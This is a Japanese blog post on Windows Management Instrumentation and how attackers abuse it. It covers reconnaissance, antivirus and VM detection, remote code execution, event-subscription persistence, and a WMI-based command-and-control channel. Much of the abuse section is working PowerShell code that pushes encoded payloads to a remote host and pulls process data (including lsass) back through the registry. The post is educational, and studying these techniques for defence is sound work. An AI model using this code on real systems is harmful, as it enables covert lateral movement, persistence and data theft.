はじめに
Picus Security社が出している、Picus Red Report 2024の中で、MITRE ATT&CKテクニックが紹介されている。そこで、9位にランクインしている「Windows Management Instrumentation」について今回は説明する。
Windows Management Instrumentationとは
Windows Management Instrumentation(WMI)は、ローカルとリモートの両方でWindowsを管理・操作するためのツールセットである。WMIを使用することで、管理者はコンピュータの設定や情報を収集して、さまざまな管理タスクを自動化することができる。
WMIの機能
システム情報の収集
システム情報では、主にハードウェア情報・ソフトウェア情報・設定情報を収集できる。
情報の種類 | 詳細 |
---|---|
ハードウェア情報 | CPU、メモリ、ディスク、ネットワークインターフェースの詳細情報。 |
ソフトウェア情報 | インストールされているアプリケーション、サービス、プロセスの情報。 |
設定情報 | レジストリ設定、環境変数、ユーザーアカウント情報。 |
情報を取得するには、以下のコマンドが使われる。
Get-WmiObject -Class クラス名
システム管理タスクの実行
WMIスクリプトを使用することで、管理タスクを自動化ができる。
管理の種類 | 詳細 |
---|---|
プロセス管理 | プロセスの開始、終了、ステータスの監視。 |
サービス管理 | サービスの開始、停止、再起動。 |
デバイス管理 | デバイスの状態の取得、ドライバのインストールや更新。 |
プロセス管理の例:
たとえば、Createメソッドで新しいプロセス「hoge.exe」を開始するには以下のコマンドが使われる。
$process = Get-WmiObject -Class Win32_Process
$process.Create("hoge.exe")
サービス管理の例:
特定のサービス情報を取得して、サービスの開始および停止を行うには以下のコマンドが使われる。(今回はWindows Updateサービスの「wuauserv」を例にしている。)
$service = Get-WmiObject -Class Win32_Service -Filter "Name='wuauserv'"
$service.StartService()
$service.StopService()
デバイス管理の例:
プラグアンドプレイデバイスの状態の取得には以下のコマンドが使われる・
Get-WmiObject -Class Win32_PnPEntity
リモート管理
ネットワーク上のほかのコンピュータ管理をリモートで行うことができる。
例 | 詳細 |
---|---|
リモートコンピュータの操作 | ネットワーク経由でほかのコンピュータの情報を取得し、管理タスクを実行。 |
スクリプト実行 | リモートでPowerShellやVBScriptを実行。 |
リモートコンピュータの操作の例:
WMIクラスをリモートマシンに対して初期化し、Win32_Processクラスを使用してリモートマシンで「hoge.exe」を実行するには以下のコマンドが使われる。
$wmi = [WMIClass]"\\RemoteMachine\root\cimv2:Win32_Process"
$wmi.Create("hoge.exe")
リモートでスクリプト実行の例:
Invoke-Commandを使用して、リモートコンピュータで指定したスクリプトブロックを実行。ここではリモートマシン上でプロセス情報を取得するコマンドを例にとる。
Invoke-Command -ComputerName RemoteMachine -ScriptBlock { Get-WmiObject -Class Win32_Process }
イベントの監視と通知
システムイベントや状態変化の通知を受け取ることができる。
例 | 詳細 |
---|---|
システムイベント | システムログ、アプリケーションログ、セキュリティログの監視。 |
イベントトリガー・スクリプト実行 | 特定のイベント発生時にアクションを実行。 |
システムイベント監視の例:
Windowsイベントログの中でも、システムログをフィルタリングして取得するには以下のようなコマンドがつかわれる。
Get-WmiObject -Class Win32_NTLogEvent -Filter "Logfile='System'"
イベントトリガー設定の例:
新しいプロセスが作成されるというイベントが起きるたびに「hoge.exe」を実行するようにするには以下のようなコマンドが使われる。
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
Name = "EventFilter"
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process'"
QueryLanguage = "WQL"
}
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
Name = "EventConsumer"
CommandLineTemplate = "hoge.exe"
}
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
WMIとAD(ActiveDirectory)との違い
どちらもWindows環境において管理を行うことから、混同してしまったため、整理しておく。
-役割の違い
・WMI
システムの詳細な情報収集と管理タスクの自動化に焦点を当てている。
・AD
ユーザー、グループ、およびリソースのディレクトリサービスを提供し、ネットワーク全体の認証と認可を行っている。
-管理対象の違い
・WMI
個々のコンピュータやデバイスの詳細な管理が対象になる。
・AD
ネットワーク全体のユーザー、コンピュータ、グループ、およびその他のリソースの一元管理が対象になる。
-使用場面の違い
・WMI
スクリプトや管理ツールを用いてシステム設定や情報収集、イベント監視を行う場合に使われる。
・AD
ユーザー管理、セキュリティポリシーの適用、アクセス制御などのネットワーク管理をする場合に使われる。
※WMIとADは異なるが、補完的な役割を持つ。ほかにもスナップインと呼ばれるコンポーネントで管理タスクを実行することなどもできるが、可能な限りWMIとADを使用することが推奨されている。
Windows Management Instrumentationの悪用
攻撃者はWMIを悪用して、Windowsシステム上でさまざまな悪意のある活動を行うことができる。WMIやPowerShellはもともとWindowsに組み込まれているものであり、シグネチャがないためアンチウイルスソフトによって検出が従来のマルウェアよりもされにくい。そのため、検出がされにくいという利点を使う攻撃者も多く存在している。こういった攻撃は「Fileless Malware攻撃」や「Living off the Land攻撃」と呼ばれたりする。
なぜWMIを悪用するのか?
攻撃者にとってWMIを使うことには多くのメリットが存在する。WMIは偵察、アンチウイルス・VMの検出、コード実行、横展開、データの保存、永続化などあらゆることを実行するのに非常に強力なツールになっている。
攻撃者がWMIを使うメリット
① Windows98までさかのぼる全てのWindowsOSにWMIはデフォルトでインストール、実行されているため、幅広く使うことができる。
② コード実行については、psexecを実行するよりもステルス性の高い代替手段になる。
③ 永続的なイベントであるWMIイベントサブスクリプションは、SYSTEMとして実行される。SYSTEMというアカウントは、たいていAdministratorグループと同じく、フルコントロールの権限が割り当てられているため、高い権限になる。
④ 防御者は一般的に、WMIが攻撃ベクトルであると気づきにくい。
⑤ WMIリポジトリに保存される以外は、ペイロードがディスクに残ることはない。
偵察
まずは攻撃者が最初に行うこととして一般的なことは偵察である。WMIは多くの数のクラスがあるため偵察によく使われる。
攻撃者によって実行されることが多い偵察項目とクエリ可能なWMIオブジェクトの例は以下の通り。
項目 | WMIオブジェクト |
---|---|
ホスト、OS情報 | Win32_OperatingSystem、Win32_ComputerSystem |
ファイル、ディレクトリのリスト | CIM_DataFile |
ディスクボリュームのリスト | Win32_Volume |
レジストリ操作 | StdRegProv |
実行中のプロセス | Win32_Process |
イベントログ | Win32_NTLogEvent |
ログオンしているアカウント | Win32_LoggedOnUser |
マウントされた共有 | Win32_Share |
インストールされたパッチ | Win32_QuickFixEngineering |
アンチウイルスとVM検出
アンチウイルス検出
インストールされたアンチウイルス製品はOSバージョンによって、rootSecutiryCenter
またはrootSecutiryCenter2
の名前空間のいずれかに含まれるAntiVirusProduct
クラスを介してWMIに登録されている。
クエリの例:
SELECT * FROM アンチウイルス製品
VM・サンドボックス検出
VMとサンドボックス環境の検出も可能になっている。物理メモリが2GB未満だったり、プロセッサ・コアが1つしかない場合はVMで実行されている可能性が高いことがわかる。
WQLクエリの例:
# 物理メモリが2GB未満を特定
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2137383648
# プロセッサ・コアの数が1つだけのものを特定
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
PowerShellスクリプトの例:
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) { $VMDetected = $True }
VMwareの検出には以下のように検出する方法がある。
WQLクエリの例:
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE NAME="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"
PowerShellスクリプトの例:
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE "%VMware%"
OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }
リモートコード実行と横展開
WMIでリモートの任意コードを実行する方法は2つある。
① Win32_Process Create Method
Win32_Processクラスには、ローカルまたはリモートでプロセスを生成するための静的メソッド「Create」がある。これは、WMIを使ってリモートプロセスを実行する方法で、psexec
に似ているものになっている。ちなみに、psexecはリモートシステムでプロセスを実行するツールのことである。
攻撃者はこのメソッドを使ってリモートマシン上で悪意のあるエンコードされたPowerShellコマンドを実行できる。
リモートマシンでプロセスを実行する例:
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'hoge.exe' -ComputerName 192.168.72.134 -Credential 'WIN-B85AAA7ST4U\Administrator'
このコマンドでは、指定されたリモートマシン(192.168.72.134)で「hoge.exe」プロセスを実行するようになる。-Credentialパラメータで管理者の資格情報を指定する。
実行結果の例:
__GENUS : 2
__CLASS : __PARAMETERS
__PROPERTY_COUNT : 2
ProcessId : 3360
ReturnValue : 0
ProcessIDは新しく生成されたプロセスのIDで、RetrunValueが「0」だと成功という意味になる。
② WMIイベントサブスクリプション
もう1つの方法はWMIイベントサブスクリプションを利用して、任意のリモートコードを実行する。通常の場合、永続的なWMIイベントサブスクリプションは特定のイベントに対して応答するように設計されている。攻撃者はこれを悪用して特定のイベントが発生したときに悪意のあるペイロードを実行することができる。
使用する例:
%SystemRoot%\system32\wbem\scrcons.exe -Embedding
これは特定のイベントが発生したときに、このスクリプトホストプロセスがバックグラウンドで実行され、VBScriptの内容が実行される。この手法を用いることで、攻撃者は任意のコードをSYSTEM権限で実行することができる。また、コマンドライン監査ログにスクリプトの内容がプレーンテキストで表示されないようにもなる。
上記の似た例を使ったものとしては、仮想通貨発掘マルウェアである「TROJ64_COINMINER.QO」がある。PCの侵入をEternalBlueで行い、SMBの脆弱性「MS17-010」でバックドアをつくる。このバックドアからさまざまなWMIスクリプトをインストールして、C2サーバーからコマンドを受信して、仮想通貨発掘マルウェアとコンポーネントをダウンロードするようになっている。EternalBlueとWMIスクリプトを組み合わせたことにより、検出がより困難になった。
永続化
データの保存
攻撃者はWMIリポジトリを悪用してデータを隠蔽し、持続的な活動を行うことができる。具体的には、動的にWMIクラスを作成し、そのクラスのプロパティに任意のデータを保存する手法になっている。これによって、ファイルシステムを使用せずにデータを隠蔽し、検出を回避することができる。
任意の文字列をプロパティ値として保存するWMIクラス作成例:
# 新しいWMIクラスの作成
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null, $null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
# プロパティの追加とデータの保存
$StaticClass.Properties.Add('EvilProperty' , "This is not the malware you're looking for")
$StaticClass.Put()
"This is not the malware you're looking for"という文字列を保存するものとなっている。このスクリプトを実行すると、Win32_EvilClassという新しいWMIクラスが作成され、そのプロパティであるEvilPropertyに任意の文字列が保存される。このデータはWMIリポジトリに保存されるので、ファイルシステム上に存在せず、検出が難しくなる。
リモート作成とデータの利用
上記のWMIクラスはリモートからも作成可能である。クラスが作成された後に、WMIを利用して簡単にデータを取得することができる。これによって、攻撃者はシステム上の任意のデータを隠蔽し、後で利用することができる。
WMIを利用したC2チャネル
WMIをC2チャネルとして使用することもできる。この手法ではWMIを利用してデータ保存や取得を行い、遠隔操作やデータの送受信をすることができる。
プッシュ攻撃
WMIクラスをリモートで作成してファイルデータを保存し、そのファイルデータは、リモートでpowershell.exeを使用してリモートファイルシステムにドロップする。
1.ファイルを準備
まず、ドロップするファイルを準備する。ファイルを読み取ってBase64にエンコードする。
# リモートシステムにドロップするファイルを準備
$LocalFilePath = 'C:\Users\ht\Documents\evidence_to_plant.png'
# ファイルをバイト配列として読み取る
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
# バイト配列をBase64文字列にエンコード
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
2.リモートWMI接続の確立
リモートマシンに接続するために、WMI接続オプションを設定し、管理者権限で接続を確立する。
# リモートWMI接続の確立
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'Administrator'
$Options.Password = 'user'
$Options.EnablePrivileges = $True
# 接続スコープを設定
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\192.168.72.134\root\default'
$Connection.Options = $Options
# 接続を確立
$Connection.Connect()
3.ファイルコンテンツのプッシュ
WMIクラスを制作し、エンコードされたファイルコンテンツをプロパティとして保存する。
# WMIクラスを作成
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty, $null)
# プロパティを追加
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
# WMIリポジトリに保存
$EvilClass.Put()
4.Powershellペイロードの作成
リモートシステムにファイルをドロップするためにPowerShellスクリプトを作成し、Base64でエンコードする。
# 管理者クレデンシャルを取得
$Credential = Get-Credential 'WIN-B85AAA7ST4U\Administrator'
$CommonArgs = @{
Credential = $Credential
ComputerName = '192.168.72.134'
}
# PowerShellペイロードを作成
$PayloadText = @'
$EncodedFile = ([WmiClass] 'root\default:Win32_EvilClass').Properties['EvilProperty'].Value
[IO.File]::WriteAllBytes('C:\fighter_jet_specs.png', [Convert]::FromBase64String($EncodedFile))
'@
# ペイロードをBase64エンコード
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"
5.ターゲットファイルシステムにファイルをドロップ
PowerShellペイロードを実行し、リモートシステムにファイルをドロップする。
# PowerShellペイロードをリモートで実行
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
6.ファイルドロップの確認
ファイルがリモートシステムに正しくドロップされたかを確認。
# ファイルドロップの確認
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter 'Name = "C:\\fighter_jet_specs.png"'
プル攻撃
プル攻撃ではレジストリを使用してPowerShellコマンドの結果を取得する。マルウェアツールが通常使用する方法は、PowerShellコマンドの出力をテキストとしてキャプチャする。これにより、結果の情報が文字列として簡略化され、データの種類や構造が失われることがある。一方、PowerShellオブジェクトのシリアライズとデシリアライズを使用すると、出力されるデータのリッチなタイプ情報を保持することができる。以下がその例だ。
1.リモートレジストリキーと値の生成
まず、リモートマシンのレジストリにキーと値を作成する。
# 管理者クレデンシャルを取得
$Credential = Get-Credential 'WIN-B85AAA7ST4U\Administrator'
$CommonArgs = @{
Credential = $Credential
ComputerName = '192.168.72.131'
}
$HKLM = 2147483650
# レジストリキーを作成
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, 'SOFTWARE\EvilKey'
# レジストリ値を削除
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'
2.PowerShellペイロードの作成
次に、Get-Process lsassコマンドの結果をシリアライズしてレジストリに保存するPowerShellペイロードを作成し、Base64エンコードする。
# PowerShellペイロードを作成
$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded
'@
# ペイロードをBase64エンコード
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"
3.PowerShellペイロードの実行
PowerShellペイロードを実行して、コマンドの結果をリモートレジストリに保存する。
# PowerShellペイロードをリモートで実行
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
4.シリアライズされた結果の取得
# シリアライズされた結果を取得
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'
$EncodedOutput = $RemoteOutput.sValue
# 結果をデシリアライズして表示
$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))
$DeserializedOutput
これらの例によって、WMIをC2チャネルとして利用できる。攻撃者はWMIを隠蔽し、リモートシステムとの通信を確立することができる。WNUのクラス作成やレジストリを利用したデータ保存と取得により、検出を回避しつつ、リモート操作やデータの送受信を行うことができる。
おわりに
WMIを利用しての攻撃は数多く存在する。そのことから、今回の記事を執筆する過程でWMIについて詳しく自分自身も知ることができたので良かった。